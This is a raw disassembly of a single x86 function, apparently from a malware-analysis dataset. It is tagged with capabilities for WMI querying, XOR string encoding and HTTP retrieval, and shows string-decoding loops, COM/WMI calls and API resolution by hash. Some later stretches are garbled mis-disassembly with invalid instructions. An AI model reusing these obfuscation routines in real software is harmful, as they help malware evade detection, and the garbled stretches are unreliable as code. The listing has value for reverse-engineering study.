Function at 0x43a1b0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa8
mov edi, dword [ebp + 8]
mov eax, dword [0x44f88c]
mov dword [esp + 0xc], 0x93c191ad
mov dword [esp + 0x10], 0xafddad25
mov dword [esp + 0x14], 0xabd7a924
mov dword [esp + 0x18], 0xa7faa5d1
mov dword [esp + 0x1c], 0xa3dba1d2
mov dword [esp + 0x20], 0xbfc3bd32
mov dword [esp + 0x24], 0xbbbab985
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x1c
xor dl, byte [esp + ecx + 0xc]
add dl, 0x74
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0x1c
jne case.default.0x43a243
lea ecx, [esp + 0x64]
lea esi, [esp + 0x80]
lea ebx, [esp + 0xc]
push ecx
push 8
push esi
push 0xd
push ebx
push 0
call eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d238]
mov word [esp + 0x80], 0x43
mov word [esp + 0x82], 0x3a
mov eax, dword [case.0x43a243.4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov dword [esp + 0x84], 0x5c
mov dword [esp + 0x70], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 0
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x4c]
push eax
push 0x446cd0
push 1
push 0
push 0x446ce0
call dword [sym.imp.ole32.dll_CoCreateInstance]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d250]
mov dword [esp + 0xc], 0x34d0152
mov dword [esp + 0x10], 0x752054b
mov dword [esp + 0x14], 0xb490954
mov dword [esp + 0x18], 0xf430d45
mov dword [esp + 0x1c], 0x13201146
mov dword [esp + 0x20], 0x1514
xor eax, eax
nop
nop
nop
nop
xor byte [esp + eax + 0xc], al
inc eax
cmp eax, 0x18
jne case.default.0x43a33f
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x98], ebx
push ebx
push eax
call dword [ecx + 0xc]
not eax
shr eax, 0x1f
lea ebx, [esp + 0xc]
jmp dword [eax*4 + 0x44d258]
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x64]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d260]
mov dword [esp + 0xc], 0x31ed3fd5
mov dword [esp + 0x10], 0x353233ec
mov word [esp + 0x14], 0
mov byte [esp + 0x16], 0
xor ecx, ecx
mov eax, 0xffffffff
nop
nop
nop
mov esi, eax
or esi, 0xf5
mov edx, ecx
or edx, 0xf5
add edx, esi
add edx, ecx
inc dl
xor dl, byte [esp + ecx + 0xc]
add dl, 0x37
mov byte [esp + ecx + 0xc], dl
lea edx, [ecx + 1]
dec eax
mov ecx, edx
cmp edx, 0xb
jne 0x43a390
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x50], eax
mov dword [esp + 0xc], 0x29e12bf1
mov dword [esp + 0x10], 0x2de52fe4
mov dword [esp + 0x14], 0x31e633e9
mov dword [esp + 0x18], 0x35d837d0
mov dword [esp + 0x1c], 0x39f03bd4
mov dword [esp + 0x20], 0x3def3fee
mov dword [esp + 0x24], 0x1e203ef
mov dword [esp + 0x28], 0x5a907d9
mov dword [esp + 0x2c], 0x9ff0bb6
mov dword [esp + 0x30], 0xdaf0ffe
mov dword [esp + 0x34], 0x11dd13ca
mov dword [esp + 0x38], 0x15c317c1
mov word [esp + 0x3c], 0x1b14
mov dword [esp + 0x3e], 0
mov word [esp + 0x42], 0
xor esi, esi
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx + 0xc]
mov eax, esi
and eax, 0xe
mov edx, ecx
xor edx, 0x271c32c7
add edx, eax
xor edx, ebx
mov ebx, edx
and ebx, 0x1c
add ebx, ebx
xor edx, 0xe3
sub ebx, edx
mov byte [esp + ecx + 0xc], bl
inc ecx
add esi, 2
cmp ecx, 0x38
jne case.default.0x43a4b2
lea ebx, [esp + 0xc]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x48]
mov ecx, dword [esi]
lea edx, [esp + 0x60]
push edx
push 0
push 0x30
mov dword [esp + 0x84], eax
push eax
mov ebx, dword [esp + 0x60]
push ebx
push esi
call dword [ecx + 0x50]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d268]
lea esi, [esp + 0x80]
jmp dword [0x44d2a8]
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
lea esi, [esp + 0x5c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
setns cl
cmp eax, 1
setne al
cmp dword [esp + 0x58], 0
setne dl
and dl, al
and dl, cl
movzx eax, dl
lea esi, [esp + 0x80]
jmp dword [eax*4 + 0x44d270]
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x5c]
mov dword [esp + 0xc], 0xf911fb01
mov dword [esp + 0x10], 0xe571e766
mov dword [esp + 0x14], 0xe176e30b
mov dword [esp + 0x18], 0xed75ef12
mov dword [esp + 0x1c], 0xe904eb7f
mov dword [esp + 0x20], 0x95089703
mov word [esp + 0x24], 0x9394
mov dword [esp + 0x26], 0
mov word [esp + 0x2a], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xab
xor dl, byte [esp + ecx + 0xc]
add dl, 0xa9
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0x20
jne case.default.0x43a5b5
mov ecx, dword [eax]
push 0
push 0
lea edx, [esp + 0x98]
push edx
push 0
lea edx, [esp + 0x1c]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
setns al
cmp word [esp + 0x90], 8
sete cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44d278]
push dword [esp + 0x98]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edx, dword [esp + 0x98]
mov dword [esp], eax
lea eax, [edx + eax*2]
mov dword [esp + 0x54], eax
movzx ecx, word [edx]
test cx, cx
mov dword [esp + 4], edx
je 0x43a622
xor ebx, ebx
mov eax, edx
jmp 0x43a5fa
add ebx, edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x43a624
cmp eax, dword [esp + 0x54]
jae 0x43a624
movzx esi, cx
cmp esi, 0x800
mov ecx, 3
sbb ecx, 0
mov edx, 1
cmp esi, 0x80
jb 0x43a5ec
mov edx, ecx
jmp 0x43a5ec
xor ebx, ebx
mov eax, ebx
and eax, 1
mov ecx, ebx
xor ecx, 1
lea esi, [ecx + eax*2]
push esi
call fcn.0040c560
mov edx, dword [esp + 8]
add esp, 4
mov dword [esp + 0x44], esi
lea ecx, [eax + esi]
dec ecx
mov esi, eax
mov dword [esp + 8], eax
mov dword [esp + 0x74], ecx
cmp eax, ecx
jae 0x43a728
mov esi, dword [esp + 8]
cmp dword [esp], 0
jle 0x43a728
mov esi, dword [esp + 8]
mov eax, esi
add eax, dword [esp + 0x44]
mov dword [esp + 0x44], eax
add edx, 2
movzx ecx, word [edx - 2]
test cx, cx
je 0x43a728
cmp cx, 0x7f
ja 0x43a695
mov byte [esi], cl
mov dword [esp], 1
jmp 0x43a710
mov dword [esp + 4], edx
mov edx, esi
not edx
add edx, dword [esp + 0x44]
movzx eax, cx
cmp edx, 2
jb 0x43a6d0
cmp eax, 0x7ff
ja 0x43a6d0
mov edx, ecx
shr edx, 6
add dl, 0xc0
mov byte [esi], dl
and cl, 0x3f
or cl, 0x80
mov byte [esi + 1], cl
mov dword [esp], 2
mov edx, dword [esp + 4]
jmp 0x43a710
mov dword [esp], 0
cmp edx, 3
mov edx, dword [esp + 4]
jb 0x43a710
mov edx, eax
shr edx, 0xc
or dl, 0xe0
mov byte [esi], dl
shr eax, 6
mov edx, eax
not dl
or dl, 0x3f
add dl, al
add dl, 0x81
mov byte [esi + 1], dl
mov edx, dword [esp + 4]
and cl, 0x3f
or cl, 0x80
mov byte [esi + 2], cl
mov dword [esp], 3
add esi, dword [esp]
cmp esi, dword [esp + 0x74]
jae 0x43a728
lea ecx, [edx + 2]
cmp edx, dword [esp + 0x54]
mov edx, ecx
jb 0x43a677
mov byte [esi], 0
xor ecx, ecx
mov edx, dword [case.0x43a73f.5]
xor eax, eax
cmp ecx, 4
setb al
mov esi, dword [esp + 8]
jmp dword [eax*4 + 0x44d280]
jmp edx
mov eax, dword [esi + ecx*4]
mov dword [esp + ecx*4 + 0x64], eax
add ebx, 0xfffffffc
xor eax, eax
cmp ebx, 4
setb al
jmp dword [eax*4 + 0x44d298]
inc ecx
xor eax, eax
cmp ecx, 4
setb al
jmp dword [eax*4 + 0x44d280]
lea esi, [esp + 0x80]
mov ebx, dword [esp + 0x50]
jmp dword [0x44d2a0]
push dword [esp + 8]
call fcn.0040c570
add esp, 4
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp dword [0x44d2a8]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x64], eax
xor esi, esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44d2c0]
xor ecx, ecx
test esi, esi
setne cl
mov eax, esi
jmp dword [ecx*4 + 0x44d2c8]
xor ecx, ecx
cmp dword [esp + esi*4 + 0x64], 0
sete cl
mov eax, esi
jmp dword [ecx*4 + 0x44d2d0]
lea eax, [esi - 1]
imul eax, dword [esp + eax*4 + 0x64], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + esi*4 + 0x64], eax
push 0x10
push 9
push edi
push eax
call fcn.00432f30
add esp, 0x10
mov edx, eax
neg edx
mov ecx, eax
nop
nop
nop
nop
nop
dec edx
cmp byte [ecx], 0
lea ecx, [ecx + 1]
jne case.default.0x43a853
mov ebx, edx
not ebx
and edx, eax
mov ecx, eax
not ecx
and ecx, ebx
sub ecx, edx
dec eax
add ecx, 0xfffffff7
xor edx, edx
cmp ecx, 0xffffffff
setne dl
jmp dword [edx*4 + 0x44d2d8]
mov byte [eax], 0x30
dec eax
inc ecx
xor edx, edx
cmp ecx, 0xffffffff
setne dl
jmp dword [edx*4 + 0x44d2d8]
add edi, 8
inc esi
xor eax, eax
cmp esi, 4
setb al
jmp dword [eax*4 + 0x44d2c0]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
jmp dword [0x44d2b4]
push dword [esp + 0x78]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea ebx, [esp + 0xc]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x7c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0xc], 0
push 0xd2e7977e
push dword [0x44f884]
call fcn.00442960
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44d2b8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
jmp 0x43aa6f
mov ebp, dword [esp + 0x38]
push 0x400
call fcn.0043da60
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
mov dword [esp + 4], 0xfcfdfeff
xor ecx, ecx
mov edx, 0xa203a000
nop
nop
nop
movzx edi, byte [esp + ecx + 4]
mov ebx, ecx
and ebx, edi
lea eax, [edx + ebx*2]
add ebx, ebx
not ebx
add ebx, ecx
and ebx, edi
not edi
and edi, eax
sub ebx, edi
mov byte [esp + ecx + 4], bl
inc ecx
dec edx
cmp ecx, 4
jne 0x43a970
mov ecx, dword [esp + 4]
mov edx, dword [0x44f890]
test edx, edx
je case.default.0x43aaa5
xor edi, edi
mov ebx, dword [0x44f894]
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xa70a987f
je 0x43a9c0
inc edi
cmp edx, edi
jne 0x43a9b0
jmp case.default.0x43aaa5
mov edx, dword [ebx + edi*8 + 4]
cmp edx, ecx
jne 0x43aa77
not ecx
shr ecx, 0x1f
mov dword [esp], 0
jmp dword [ecx*4 + 0x44d2e8]
push esi
call fcn.0043daf0
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 4], 0xfcfdfeff
xor esi, esi
mov edx, 0xa203a000
nop
nop
nop
nop
nop
movzx edi, byte [esp + esi + 4]
mov ecx, esi
and ecx, edi
lea ebp, [edx + ecx*2]
add ecx, ecx
not ecx
add ecx, esi
and ecx, edi
not edi
and edi, ebp
sub ecx, edi
mov byte [esp + esi + 4], cl
inc esi
dec edx
cmp esi, 4
jne 0x43aa00
mov ecx, dword [0x44f890]
test ecx, ecx
je 0x43aa6a
mov edx, dword [esp + 4]
xor esi, esi
mov edi, dword [0x44f894]
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x7e776f1
je 0x43aa50
inc esi
cmp ecx, esi
jne 0x43aa40
jmp 0x43aa6a
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x43aa6a
push eax
push 1
push dword [0x44f898]
push ecx
call fcn.0043ff80
add esp, 0x10
mov eax, dword [esp]
and al, 1
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x18]
push 0x2f
push 0x400
push esi
push eax
push dword [esp + 0x10]
push 5
push dword [0x44f898]
push edx
call fcn.0043ff80
add esp, 0x20
not eax
shr eax, 0x1f
mov dword [esp], 0
jmp dword [eax*4 + 0x44d2e8]
xor ecx, ecx
xor eax, eax
mov dword [esp], 0
cmp ecx, dword [esi]
setb al
xor edi, edi
jmp dword [eax*4 + 0x44d2f0]
mov ebp, ebx
lea ecx, [esp + 4]
call fcn.0043de30
inc edi
xor eax, eax
cmp edi, dword [esi]
setb al
jmp dword [eax*4 + 0x44d2f0]
mov eax, dword [esi + edi*4 + 4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea ecx, [esp + 4]
push 0
push eax
call fcn.0043dcd0
xor eax, eax
mov ecx, ebp
neg ecx
mov ebx, ebp
mov ebp, dword [esp + 0x3c]
sbb eax, ebp
setl al
movzx eax, al
shl eax, 0x14
or eax, 1
lea ecx, [esp + 4]
push eax
call fcn.0043dcf0
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44d2f8]
lea ecx, [esp + 4]
push ebp
push ebx
push 0
call fcn.0043deb0
mov ebp, ebx
test eax, eax
setns al
mov dword [esp], eax
jmp 0x43aad2
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x48]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x354], eax
mov eax, dword [esp + 0x358]
mov ecx, dword [esp + 0x354]
mov eax, dword [eax + ecx*4]
jmp eax
mov edx, dword [esp + 0x24c]
mov edi, dword [esp + 0x250]
mov edx, dword [edi + edx*4]
jmp edx
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x150]
mov eax, dword [ecx + eax*4]
mov ebp, edi
jmp eax
sbb ah, dh
xchg esp, eax
invalid
mov bp, word [ebp]
mov eax, dword [esp + 0x27c]
mov ecx, dword [esp + 0x280]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0xa8]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebp + 4]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x154], ecx
mov eax, dword [esp + 0x158]
mov ecx, dword [esp + 0x154]
mov eax, dword [eax + ecx*4]
jmp eax
not al
movzx eax, al
and eax, 1
mov dword [esp + 0x1ac], eax
mov eax, dword [esp + 0x1b0]
mov ecx, dword [esp + 0x1ac]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x3c4]
jmp eax
mov dword [esp + 0xc], ecx
mov eax, dword [esp + 0x15c]
mov ecx, dword [esp + 0x160]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], ebp
call fcn.0041ce40
mov ecx, dword [esp + 0x37c]
mov edx, dword [esp + 0x380]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ax, word [edi]
test ax, ax
sete bl
mov eax, dword [esp + 0x2d4]
mov ecx, dword [esp + 0x2d8]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x2b4]
mov ecx, dword [esp + 0x2b8]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040dd20
mov word [esi], 0x5c
mov word [ebx + 6], 0
mov dword [esp + 0xac], 0
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xac]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [esi]
test ax, ax
sete al
mov ecx, dword [esp + 0x1b4]
mov edx, dword [esp + 0x1b8]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov ax, word [ebx]
mov ecx, dword [esp + 0x12c]
mov edx, dword [esp + 0x130]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.0040dd20
mov esi, ebp
add esi, 2
mov cx, word [ebp + 2]
xor eax, eax
test cx, cx
sete cl
mov dword [esp + 0x314], 1
mov edx, dword [esp + 0x318]
mov edi, dword [esp + 0x314]
mov edx, dword [edx + edi*4]
jmp edx
mov cl, al
and ecx, 1
mov dword [esp + 0x2e4], ecx
mov eax, dword [esp + 0x2e8]
mov ecx, dword [esp + 0x2e4]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x2fc], ecx
mov eax, dword [esp + 0x300]
mov ecx, dword [esp + 0x2fc]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1f0]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 0xc], edi
mov dword [esp], ebp
mov dword [esp + 4], 0x5c
call fcn.0043c540
mov edi, eax
xor eax, eax
test edi, edi
sete al
mov dword [esp + 0x384], eax
mov eax, dword [esp + 0x388]
mov ecx, dword [esp + 0x384]
mov eax, dword [eax + ecx*4]
jmp eax
mov esi, dword [esp + 0xc]
add esi, 0xfffffffe
mov eax, dword [esp + 0x19c]
mov ecx, dword [esp + 0x1a0]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x174]
mov ecx, dword [esp + 0x178]
mov eax, dword [ecx + eax*4]
mov ecx, esi
jmp eax
mov al, byte [esp + 0x28]
mov byte [esp + 0x34], al
mov byte [esp + 0x20], 0xc6
mov byte [esp + 0x21], 0x89
mov byte [esp + 0x22], 0x22
mov byte [esp + 0x23], 0x8f
mov byte [esp + 0x24], 0x8c
mov byte [esp + 0x25], 0x8d
mov eax, 6
mov byte [esp + eax + 0x20], 0
add eax, 1
cmp eax, 8
jne 0x43baa7
xor eax, eax
cmp eax, 8
jae 0x43bae7
mov dl, byte [esp + eax + 0x20]
mov esi, eax
add esi, 2
mov ecx, 0xdd
sub ecx, eax
and ecx, 0xe3
and esi, 0x1c
or ecx, esi
xor cl, dl
xor cl, 0xe3
add cl, 0x56
mov byte [esp + eax + 0x20], cl
add eax, 1
jmp 0x43bab6
call fcn.0040dd20
call fcn.0040dd20
mov eax, dword [esp + 0x204]
mov ecx, dword [esp + 0x208]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040dd20
mov dword [esp + 0x184], 1
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x184]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [esi]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x18c], ecx
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x18c]
mov eax, dword [eax + ecx*4]
jmp eax
xchg esi, eax
mov byte [0xd085c790], al
sbb esi, dword [edi + 0x6424448b]
mov ecx, dword [esp + 0x68]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x30c], eax
mov eax, dword [esp + 0x310]
mov ecx, dword [esp + 0x30c]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x3c4]
jmp eax
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x70]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x264]
mov ecx, dword [esp + 0x268]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1a4]
mov ecx, dword [esp + 0x1a8]
mov eax, dword [ecx + eax*4]
jmp eax
add edi, 0xfffffffe
mov eax, dword [esp + 0x2a4]
mov ecx, dword [esp + 0x2a8]
mov eax, dword [ecx + eax*4]
jmp eax
xor cl, byte [edx - 0x7b746c8d]
and al, 0x8c
add byte [eax], al
add byte [ebx + 0x90248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040dd20
xor eax, eax
mov ecx, edi
sub ecx, 0x2e
sete cl
mov dword [esp + 0x254], 1
mov edx, dword [esp + 0x258]
mov ebp, dword [esp + 0x254]
mov edx, dword [edx + ebp*4]
jmp edx
xor eax, eax
mov ecx, ebx
sub ecx, 2
sete al
mov dword [esp + 0x32c], eax
mov eax, dword [esp + 0x330]
mov ecx, dword [esp + 0x32c]
mov eax, dword [eax + ecx*4]
jmp eax
mov al, byte [esp + 0x10]
mov byte [esp + 0x30], al
mov byte [esp + 0x14], 0x2a
mov byte [esp + 0x15], 0x61
mov byte [esp + 0x16], 0xe
mov byte [esp + 0x17], 0x63
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x65
mov eax, 6
mov byte [esp + eax + 0x14], 0
add eax, 1
cmp eax, 0xa
jne 0x43bd32
xor eax, eax
cmp eax, 0xa
jae 0x43bdb7
movzx edi, byte [esp + eax + 0x14]
mov ecx, eax
add ecx, 0x57da15e8
mov edx, ecx
and edx, edi
mov ebx, edx
and ebx, 2
xor ebx, 2
mov ebp, edx
and ebp, 0xfd
imul ebp, ebx
mov ebx, edx
and ebx, 2
or edx, 2
imul edx, ebx
add edx, ebp
mov ebx, ecx
and ebx, edi
shl ebx, 1
xor ecx, edi
add ecx, ebx
mov ebx, dword [esp + 0x3c4]
sub ecx, edx
mov edx, ecx
shl edx, 1
and edx, 0x917b24ee
xor ecx, 0x48bd9277
mov edi, ecx
add edi, edx
shl ecx, 1
and ecx, 2
mov edx, edi
and edx, ecx
or edi, ecx
xor edi, 1
add edx, edi
mov byte [esp + eax + 0x14], dl
add eax, 1
jmp 0x43bd41
mov edi, ebx
add edi, 2
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.0043c580
xor ecx, ecx
test eax, eax
setne al
mov dword [esp + 0x2ec], 0
mov edx, dword [esp + 0x2f0]
mov ebx, dword [esp + 0x2ec]
mov edx, dword [edx + ebx*4]
mov ebx, dword [esp + 0x3c4]
jmp edx
mov esi, ebx
add esi, 4
mov eax, dword [esp + 0xd4]
mov ecx, dword [esp + 0xd8]
mov eax, dword [ecx + eax*4]
jmp eax
out 0x17, eax
add dword [edx - 0x6bdb7b75], ecx
add byte [eax], al
add byte [ebx + 0x98248c], cl
add byte [eax], al
mov eax, dword [ecx + eax*4]
jmp eax
movzx eax, al
and eax, 1
mov dword [esp + 0x2bc], eax
mov eax, dword [esp + 0x2c0]
mov ecx, dword [esp + 0x2bc]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x3c4]
jmp eax
call fcn.0040dd20
mov al, bl
xor al, 1
mov dword [esp + 0x2c4], 1
mov ecx, dword [esp + 0x2c8]
mov edx, dword [esp + 0x2c4]
mov ecx, dword [ecx + edx*4]
jmp ecx
pop edx
push esi
in al, 0x74
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x78]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040dd20
mov dword [esp + 0x23c], 1
mov eax, dword [esp + 0x240]
mov ecx, dword [esp + 0x23c]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040dd20
mov dword [esp + 0x364], 1
mov eax, dword [esp + 0x368]
mov ecx, dword [esp + 0x364]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0x38], ebp
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0xdc], eax
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xdc]
mov eax, dword [eax + ecx*4]
jmp eax
cli
dec ebx
mov al, byte [0xa49136cb]
mov ebp, 0x5c24448b
mov ecx, dword [esp + 0x60]
mov eax, dword [ecx + eax*4]
jmp eax
mov ebx, dword [esp + 0x3c4]
mov ax, word [ebx]
xor ecx, ecx
test ax, ax
sete cl
mov dword [esp + 0x20c], ecx
mov eax, dword [esp + 0x210]
mov ecx, dword [esp + 0x20c]
mov eax, dword [eax + ecx*4]
jmp eax
fisttp word es:[esi - 3]
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx + eax*4]
jmp eax
add ebp, 4
mov eax, dword [esp + 0x144]
mov ecx, dword [esp + 0x148]
mov eax, dword [ecx + eax*4]
mov esi, ebp
mov edi, dword [esp + 0xc]
jmp eax
mov eax, dword [esp + 0x9c]
mov ecx, dword [esp + 0xa0]
mov ecx, dword [ecx + eax*4]
mov al, 1
jmp ecx
call fcn.0040dd20
mov dword [esp + 0x2cc], 1
mov eax, dword [esp + 0x2d0]
mov ecx, dword [esp + 0x2cc]
mov eax, dword [eax + ecx*4]
mov edi, dword [esp + 0xc]
jmp eax
xor eax, eax
mov edi, dword [esp + 0xc]
mov ecx, edi
sub ecx, ebx
seta al
mov dword [esp + 0x304], eax
mov eax, dword [esp + 0x308]
mov ecx, dword [esp + 0x304]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040dd20
mov cx, word [ebp]
xor eax, eax
sub cx, 0x5c
sete cl
mov dword [esp + 0x344], 0
mov edx, dword [esp + 0x348]
mov edi, dword [esp + 0x344]
mov edx, dword [edx + edi*4]
jmp edx
mov word [ebx], 0x5c
mov word [ebx + 2], 0
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x110]
mov eax, dword [ecx + eax*4]
jmp eax
add esi, 0xfffffffe
mov eax, dword [esp + 0x16c]
mov ecx, dword [esp + 0x170]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040dd20
movzx edi, bp
mov dword [esp + 0x26c], 0
mov eax, dword [esp + 0x270]
mov ecx, dword [esp + 0x26c]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040dd20
mov dword [esp + 0x17c], 0
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0x17c]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, ebx
sub ecx, 3
sete al
mov dword [esp + 0x284], eax
mov eax, dword [esp + 0x288]
mov ecx, dword [esp + 0x284]
mov eax, dword [eax + ecx*4]
jmp eax
mov esi, ebp
add esi, 4
mov eax, dword [esp + 0x294]
mov ecx, dword [esp + 0x298]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0xc]
jmp eax
mov eax, dword [esp + 0x39c]
mov ecx, dword [esp + 0x3a0]
mov ecx, dword [ecx + eax*4]
xor eax, eax
jmp ecx
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x230]
mov eax, dword [ecx + eax*4]
jmp eax
invalid
call fcn.0040dd20
mov esi, edi
sub esi, ebp
sar esi, 1
mov ebx, esi
inc ebx
xor eax, eax
mov ecx, ebx
sub ecx, 1
sete cl
mov dword [esp + 0x35c], 1
mov edx, dword [esp + 0x360]
mov ebp, dword [esp + 0x35c]
mov edx, dword [edx + ebp*4]
mov ebp, dword [esp + 0x38]
jmp edx
mov word [ebx], 0
mov eax, dword [esp + 0x394]
mov ecx, dword [esp + 0x398]
mov eax, dword [ecx + eax*4]
mov edi, ebx
jmp eax
call fcn.0040dd20
mov esi, ebx
add esi, 2
mov dword [esp + 0x1f4], 0
mov eax, dword [esp + 0x1f8]
mov ecx, dword [esp + 0x1f4]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040dd20
mov dword [esp + 0xb4], 0
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xb4]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [ebx]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x2dc], ecx
mov eax, dword [esp + 0x2e0]
mov ecx, dword [esp + 0x2dc]
mov eax, dword [eax + ecx*4]
xor ebx, ebx
jmp eax
mov ax, word [ebx]
mov ecx, dword [esp + 0x1d4]
mov edx, dword [esp + 0x1d8]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x58]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, cl
and eax, 1
